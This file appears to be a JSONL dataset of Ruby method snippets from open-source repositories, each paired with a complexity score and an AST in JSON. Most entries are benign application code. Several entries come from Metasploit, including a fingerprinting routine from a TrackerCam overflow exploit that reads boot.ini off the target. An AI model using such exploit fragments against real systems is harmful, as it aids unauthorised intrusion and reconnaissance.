type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_dir\"]},{\"type\":\"lvar\",\"children\":[\"base_dir\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"command_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"command_line\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stdout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"output\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stderr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"debug\"]},{\"type\":\"lvar\",\"children\":[\"debug\"]}]}]}]}]}]}","id":"27b22e36-d3e5-4834-a345-21dbfe6ce20d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":582,"raw_source":"def test_eager_load_belongs_to_with_string_keys\n    subscriber = subscribers(:second)\n    subscription = Subscription.all.merge!(includes: :subscriber).find(subscriptions(:webster_awdr).id)\n    assert_equal subscriber, subscription.subscriber\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_load_belongs_to_with_string_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"send\",\"children\":[null,\"subscribers\",{\"type\":\"sym\",\"children\":[\"second\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subscription\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subscription\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"subscriber\"]}]}]}]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subscriptions\",{\"type\":\"sym\",\"children\":[\"webster_awdr\"]}]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscription\"]},\"subscriber\"]}]}]}]}","id":"21e7d333-9e5f-4af8-a7eb-fc7b74092d0e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/active_vm_aggregation_mixin.rb","start_line":12,"raw_source":"def active_vms\n    vms.includes(:ext_management_system => {}, :hardware => :disks).select(&:active?)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"active_vms\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vms\"]},\"includes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ext_management_system\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hardware\"]},{\"type\":\"sym\",\"children\":[\"disks\"]}]}]}]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"active?\"]}]}]}]}","id":"840d8c60-6ae2-4b1a-924e-972719a15d71"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/x64/bind_named_pipe_x64.rb","start_line":74,"raw_source":"def transport_config(opts={})\n    transport_config_bind_named_pipe(opts)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"transport_config\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"transport_config_bind_named_pipe\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"e324bf56-5239-4bd9-a6f8-0651a7a001e4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/mattermost/session.rb","start_line":70,"raw_source":"def request\n      @request ||= Request.new(parameters: params)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Request\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parameters\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}]}]}]}","id":"705bee2d-08c7-481a-afa3-3baef80942c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/middleware/chain.rb","start_line":155,"raw_source":"def empty?\n        @entries.nil? || @entries.empty?\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"empty?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entries\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entries\"]},\"empty?\"]}]}]}","id":"9d7d176b-347d-45e8-a58d-3c7978df77ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/resource_events/assignment_event_recorder.rb","start_line":36,"raw_source":"def record_for_parent(resource_klass, foreign_key, parent, old_assignees)\n        removed_events = (old_assignees - parent.assignees).map do |unassigned_user|\n          {\n            foreign_key => parent.id,\n            user_id: unassigned_user.id,\n            action: :remove\n          }\n        end.to_set\n\n        added_events = (parent.assignees.to_a - old_assignees).map do |added_user|\n          {\n            foreign_key => parent.id,\n            user_id: added_user.id,\n            action: :add\n          }\n        end.to_set\n\n        (removed_events + added_events).each_slice(BATCH_SIZE) do |events|\n          resource_klass.insert_all(events)\n        end\n      end","complexity_score":26.1,"ast_json":"{\"type\":\"def\",\"children\":[\"record_for_parent\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource_klass\"]},{\"type\":\"arg\",\"children\":[\"foreign_key\"]},{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"old_assignees\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"removed_events\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_assignees\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"assignees\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"unassigned_user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unassigned_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"remove\"]}]}]}]},\"to_set\"]}]},{\"type\":\"lvasgn\",\"children\":[\"added_events\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"assignees\"]},\"to_a\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"old_assignees\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"added_user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"added_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"sym\",\"children\":[\"add\"]}]}]}]},\"to_set\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_events\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"added_events\"]}]}]},\"each_slice\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"events\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_klass\"]},\"insert_all\",{\"type\":\"lvar\",\"children\":[\"events\"]}]}]}]}]}","id":"11d384de-45d6-4e59-abdb-3ebb28b182f8"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/activitypub/fetch_replies_worker.rb","start_line":9,"raw_source":"def perform(parent_status_id, replies_uri, options = {})\n    ActivityPub::FetchRepliesService.new.call(Status.find(parent_status_id).account.uri, replies_uri, **options.deep_symbolize_keys)\n  rescue ActiveRecord::RecordNotFound\n    true\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent_status_id\"]},{\"type\":\"arg\",\"children\":[\"replies_uri\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"FetchRepliesService\"]},\"new\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"parent_status_id\"]}]},\"account\"]},\"uri\"]},{\"type\":\"lvar\",\"children\":[\"replies_uri\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"deep_symbolize_keys\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null,{\"type\":\"true\",\"children\":[]}]},null]}]}","id":"7b12cf8c-0017-4366-a6f6-04befb3199ee"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":1186,"raw_source":"def test_where_no_target_value\n    input = [\n      { \"foo\" => false },\n      { \"foo\" => true },\n      { \"foo\" => \"for sure\" },\n      { \"bar\" => true },\n    ]\n\n    assert_equal([{ \"foo\" => true }, { \"foo\" => \"for sure\" }], @filters.where(input, \"foo\"))\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_where_no_target_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"for sure\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"str\",\"children\":[\"for sure\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"input\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]}","id":"648cc98d-2bed-40ee-8de8-48de392e288f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/pull_hotlinked_images.rb","start_line":242,"raw_source":"def notify_about_low_disk_space\n      SystemMessage.create_from_system_user(\n        Discourse.site_contact_user,\n        :download_remote_images_disabled,\n      )\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"notify_about_low_disk_space\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SystemMessage\"]},\"create_from_system_user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"site_contact_user\"]},{\"type\":\"sym\",\"children\":[\"download_remote_images_disabled\"]}]}]}","id":"e0f09d7b-d232-410d-94cc-543bc7127fab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/dev_ops_report_helper.rb","start_line":16,"raw_source":"def format_score(score)\n    precision = score < 1 ? 2 : 1\n    number_with_precision(score, precision: precision)\n  end","complexity_score":4.85,"ast_json":"{\"type\":\"def\",\"children\":[\"format_score\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"score\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"precision\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"number_with_precision\",{\"type\":\"lvar\",\"children\":[\"score\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"lvar\",\"children\":[\"precision\"]}]}]}]}]}]}","id":"bb0ebd71-56ca-4cdb-91f6-fbc74994f911"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/server/base.rb","start_line":31,"raw_source":"def initialize(config: self.class.config)\n        @config = config\n        @mutex = Monitor.new\n        @remote_connections = @event_loop = @worker_pool = @pubsub = nil\n      end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"config\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@config\",{\"type\":\"lvar\",\"children\":[\"config\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Monitor\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@remote_connections\",{\"type\":\"ivasgn\",\"children\":[\"@event_loop\",{\"type\":\"ivasgn\",\"children\":[\"@worker_pool\",{\"type\":\"ivasgn\",\"children\":[\"@pubsub\",{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}]}","id":"f5ecb769-6381-476d-a79b-f9996c5a353b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/miq_event_definition_spec.rb","start_line":2,"raw_source":"def event_defs\n    MiqEventDefinition.all.group_by(&:name)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"event_defs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEventDefinition\"]},\"all\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"6cc8f8d0-b0fa-49c3-bcea-36a889c45fa1"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/comments_controller.rb","start_line":311,"raw_source":"def set_commentable\n    @commentable = @root_comment&.commentable ||\n      @user.articles.find_by(slug: params[:slug]) || nil\n    @article = @commentable if @commentable.is_a?(Article)\n  end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"set_commentable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@commentable\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@root_comment\"]},\"commentable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"articles\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"slug\"]}]}]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commentable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Article\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@article\",{\"type\":\"ivar\",\"children\":[\"@commentable\"]}]},null]}]}]}","id":"45ca36a2-a620-4727-8d8e-7fd58cc66e40"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/internal/check_new_versions_job.rb","start_line":4,"raw_source":"def perform\n    return unless Rails.env.production?\n\n    @instance_info = ChatwootHub.sync_with_hub\n    update_version_info\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"production?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@instance_info\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ChatwootHub\"]},\"sync_with_hub\"]}]},{\"type\":\"send\",\"children\":[null,\"update_version_info\"]}]}]}","id":"1dc1c07a-b3e0-4346-bfd0-04dd8e3df572"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/testing_support/capybara_ext.rb","start_line":36,"raw_source":"def wait_for_ajax(delay = Capybara.default_max_wait_time)\n    Timeout.timeout(delay) do\n      active = page.evaluate_script('typeof jQuery !== \"undefined\" && jQuery.active')\n      active = page.evaluate_script('typeof jQuery !== \"undefined\" && jQuery.active') until active.nil? || active.zero?\n    end\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_ajax\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"delay\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Capybara\"]},\"default_max_wait_time\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"lvar\",\"children\":[\"delay\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"active\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"evaluate_script\",{\"type\":\"str\",\"children\":[\"typeof jQuery !== \\\"undefined\\\" && jQuery.active\"]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"active\"]},\"zero?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"active\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"evaluate_script\",{\"type\":\"str\",\"children\":[\"typeof jQuery !== \\\"undefined\\\" && jQuery.active\"]}]}]}]}]}]}]}","id":"b63a9984-76a7-4091-8e26-fc3870c79103"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/relations/base_contract.rb","start_line":78,"raw_source":"def validate_user_allowed\n      # Only check if the work packages exist and are visible\n      return if skip_validation?\n\n      unless from_manageable?\n        errors.add :from_id, :error_not_manageable\n      end\n\n      unless to_manageable?\n        errors.add :to_id, :error_not_manageable\n      end\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_user_allowed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_validation?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from_manageable?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"from_id\"]},{\"type\":\"sym\",\"children\":[\"error_not_manageable\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_manageable?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"to_id\"]},{\"type\":\"sym\",\"children\":[\"error_not_manageable\"]}]}]}]}]}","id":"438f06e7-03be-4936-a8ca-b4457374a6d9"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/top_menu_item.rb","start_line":40,"raw_source":"def has_specific_category?\n    name.split(\"/\")[0] == \"category\"\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_specific_category?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"category\"]}]}]}","id":"5083901a-5ae0-463d-a07d-542e8eef91af"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/base_service.rb","start_line":143,"raw_source":"def enqueue_jira_connect_messages_for(merge_request)\n      return unless project.jira_subscription_exists?\n\n      if Atlassian::JiraIssueKeyExtractor.has_keys?(merge_request.title, merge_request.description)\n        JiraConnect::SyncMergeRequestWorker.perform_async(merge_request.id, Atlassian::JiraConnect::Client.generate_update_sequence_id)\n      end\n    end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"enqueue_jira_connect_messages_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"jira_subscription_exists?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Atlassian\"]},\"JiraIssueKeyExtractor\"]},\"has_keys?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JiraConnect\"]},\"SyncMergeRequestWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Atlassian\"]},\"JiraConnect\"]},\"Client\"]},\"generate_update_sequence_id\"]}]},null]}]}]}","id":"791d1fab-29d5-4fa8-9095-3ebce331559e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/dcerpc_epm.rb","start_line":12,"raw_source":"def dcerpc_endpoint_find_tcp(host, uuid, vers, transport)\n    res = dcerpc_endpoint_list()\n    return nil if not res\n\n    uuid.downcase!\n    res.each do |ent|\n      if (ent[:uuid] == uuid and ent[:vers] == vers and ent[:prot] == 'tcp')\n        return ent[:port]\n      end\n    end\n\n    nil\n  end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"dcerpc_endpoint_find_tcp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]},{\"type\":\"arg\",\"children\":[\"uuid\"]},{\"type\":\"arg\",\"children\":[\"vers\"]},{\"type\":\"arg\",\"children\":[\"transport\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"dcerpc_endpoint_list\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid\"]},\"downcase!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ent\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ent\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uuid\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"uuid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ent\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vers\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"vers\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ent\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"prot\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"tcp\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ent\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"port\"]}]}]},null]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"4208c764-aa24-4c49-ad4b-5a4585759468"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/trackercam_phparg_overflow.rb","start_line":116,"raw_source":"def fingerprint\n    res = download_log(rand_text_alphanumeric(12) + '.txt')\n    return if not res\n\n    m = res.match(/in <b>(.*)<\\/b> on line/smi)\n    return if not m\n\n    path = m[1]\n\n    print_status(\"TrackerCam installation path is #{path}\")\n\n    if (path !~ /^C/i)\n      print_status(\"TrackerCam is not installed on the system drive, we can't fingerprint it\")\n      return\n    end\n\n    if (path !~ /Program Files/i)\n      print_status(\"TrackerCam is installed in a non-standard location\")\n    end\n\n    boot = download_log('boot.ini')\n    return if not boot\n\n    case boot\n    when /Windows XP.*NoExecute/i\n      return \"Windows XP SP2+\"\n    when /Windows XP/\n      return \"Windows XP SP0-SP1\"\n    when /Windows.*2003/\n      return \"Windows 2003\"\n    when /Windows.*2000/\n      return \"Windows 2000\"\n    else\n      return \"Unknown OS/SP\"\n    end\n  